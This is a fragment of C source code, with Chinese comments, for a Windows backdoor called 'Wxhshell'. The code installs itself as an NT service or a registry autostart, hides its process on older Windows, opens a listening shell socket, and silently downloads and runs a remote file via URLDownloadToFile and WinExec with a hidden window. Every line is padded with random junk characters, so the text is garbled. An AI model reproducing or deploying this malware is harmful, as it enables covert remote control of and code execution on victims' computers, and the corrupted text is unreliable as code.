} PROCESS_BASIC_INFORMATION; wQSye*ec
#GE]]7:Na
PROCNTQSIP NtQueryInformationProcess; Q$c6l[(g
ZpV]X(Px(o
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7C|!Wno[;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IT1YF.i
}/F$73Xd
HANDLE hProcess; C/!.VMl^
PROCESS_BASIC_INFORMATION pbi; 4|=>gdW)KN
?vFy3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lwr's'ao.
if(NULL == hInst ) return 0; ~v+kO~
u]P|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Uj):}xgi'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l1)~WqhE}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "`$,qvNN
mb1mlsE
if (!NtQueryInformationProcess) return 0; -B
*W^-;*
C9!t&<\}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >
S>*JP
if(!hProcess) return 0; q 84*5-
FH+X<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *M1GVhW(+
v Y0bK-
CloseHandle(hProcess); C#kE{Qw10r
^#HaH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7k(}U_v
if(hProcess==NULL) return 0; !6KX^j-
/MGapmqV9
HMODULE hMod; ]JrD@ Vy
char procName[255]; ~U0%}Bbh
unsigned long cbNeeded; Qt>K{ >9Cf
j_~KD}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2R[v*i^S
/jG?PZ=m
CloseHandle(hProcess); }a7d(7
#ibwD:{
if(strstr(procName,"services")) return 1; // 以服务启动 UK
':%LeL
]n!V
return 0; // 注册表启动 2n:<F9^"
} 3~~X,ZL
Mg;pNK\n
// 主模块 ~_\Ra%
int StartWxhshell(LPSTR lpCmdLine) S6<o?X9,I
{ CS7b3p!I
SOCKET wsl; u>*a@3$f
BOOL val=TRUE; 'J,UKK\5
int port=0; h>/teHy /
struct sockaddr_in door; qGk.7wf%
k=]e7~!
if(wscfg.ws_autoins) Install(); 79T_9}M
Uwc%'=@
port=atoi(lpCmdLine); X:GRjoa
g\q .
if(port<=0) port=wscfg.ws_port; xMJ-=
FA+HR
WSADATA data; 6}^x#9\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y2A\7&7
@t%da^-HS"
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -9b=-K.y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1bFZyD"
door.sin_family = AF_INET; \p4*Q}t
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dn(!wC]
door.sin_port = htons(port); Kxsd@^E
zg2d}"dV
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aTvyzr1
closesocket(wsl); oGcgd$%ZB
return 1; _Xf1FzF+a
} Y&6jFT_
{7:1F)Pj
if(listen(wsl,2) == INVALID_SOCKET) { Y25`vE(
closesocket(wsl); D!`[fjs6A
return 1; ef)RlzLOq
} xV>
.]
Wxhshell(wsl); ht-'O"d:
WSACleanup(); REh"/d
5U2%X
pO
return 0; Et 0gPX-
'.v;/[0
} -wn-PB@r
+~5Lo'^
// 以NT服务方式启动 o?a2wY^_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L4 po1
{ /@`"&@W'
DWORD status = 0; ~VsN\! G
DWORD specificError = 0xfffffff; w7MRuAJ4
x1@,k=qrd
serviceStatus.dwServiceType = SERVICE_WIN32; >WZ.Dj0n
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F 'uqL+jVO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :` SIuu~@
serviceStatus.dwWin32ExitCode = 0; RuHDAJ"&a
serviceStatus.dwServiceSpecificExitCode = 0; zA#pgX[#
serviceStatus.dwCheckPoint = 0; b 8@}Jv
serviceStatus.dwWaitHint = 0; i+`8$uz
,a5q62)q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4Wl`hF
if (hServiceStatusHandle==0) return; zZ[kU1Fyv
`{#""I^_
status = GetLastError(); AF:_&gF
if (status!=NO_ERROR) L'wR$
{ =c6d$
serviceStatus.dwCurrentState = SERVICE_STOPPED;
^tTM
7
serviceStatus.dwCheckPoint = 0; }9ulHiR
serviceStatus.dwWaitHint = 0; \n}%RD-Ce
serviceStatus.dwWin32ExitCode = status; ,LBj$U]e|E
serviceStatus.dwServiceSpecificExitCode = specificError; 9O- otAGM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8$uq60JK
return; qjRbsD>
} g0 Q,]\~
iZ]^JPU}
serviceStatus.dwCurrentState = SERVICE_RUNNING; rO}1E<g
(
serviceStatus.dwCheckPoint = 0; %p\~
serviceStatus.dwWaitHint = 0; /
B!j`UK
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \4 b^*`d
} 9"[,9HN
PS~_a
// 处理NT服务事件,比如:启动、停止 "/R?XCBZsb
VOID WINAPI NTServiceHandler(DWORD fdwControl) R(}<W$(TV
{ @.L#u#
switch(fdwControl) ^C
K!=oO
{ |21VOPBS
case SERVICE_CONTROL_STOP: $}4ao2
serviceStatus.dwWin32ExitCode = 0; D?BegF
serviceStatus.dwCurrentState = SERVICE_STOPPED; D&fOZVuqZ
serviceStatus.dwCheckPoint = 0; >FeCa
hFn
serviceStatus.dwWaitHint = 0; 56Lxr{+X
{ !~zn*Hm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O
C;~ H{
} xZ'C(~t
return; 3=wcA/"!
case SERVICE_CONTROL_PAUSE: [Vbdsu9
serviceStatus.dwCurrentState = SERVICE_PAUSED; @Ov}X]ELi
break; 7b~uU@L`
case SERVICE_CONTROL_CONTINUE: m2m
;|rr
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,tXI*R
break; -medD G
case SERVICE_CONTROL_INTERROGATE: /Igz[P^\9
break; \FO`WUAF
}; ]HWeVhG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o5]-Kuw`
} ea{zL
%S%UMA.
// 标准应用程序主函数 V1,p<>9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }#<Rs
{ SOPair <r
hcW>R
// 获取操作系统版本 $mT)<N ;w
OsIsNt=GetOsVer(); /pRv
i>_(:
GetModuleFileName(NULL,ExeFile,MAX_PATH); .8'c
c8
-I4@6vE,
// 从命令行安装 +6:
if(strpbrk(lpCmdLine,"iI")) Install(); Lt~&K$t7~
Eg&5tAyM
// 下载执行文件 (0@b4}Z
if(wscfg.ws_downexe) { I>8_gp\1
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6lpJ+A57#
WinExec(wscfg.ws_filenam,SW_HIDE); $J4)z&%dr
} [kkhVi5;A
3ylSO73R
if(!OsIsNt) { ;pL!cG@
// 如果时win9x,隐藏进程并且设置为注册表启动 %V1j M
HideProc(); N~b0 b;e
StartWxhshell(lpCmdLine); {.U:Ce
} <0Y<9+g!
else p! k~ufU
if(StartFromService()) M4|ION
// 以服务方式启动 S5gBVGh
StartServiceCtrlDispatcher(DispatchTable); h143HXBi1+
else O:'qwJ#~
// 普通方式启动 $J<WFDn9
StartWxhshell(lpCmdLine); J>M 9t%f@
#t2N=3dOj
return 0; %INkuNa8\
}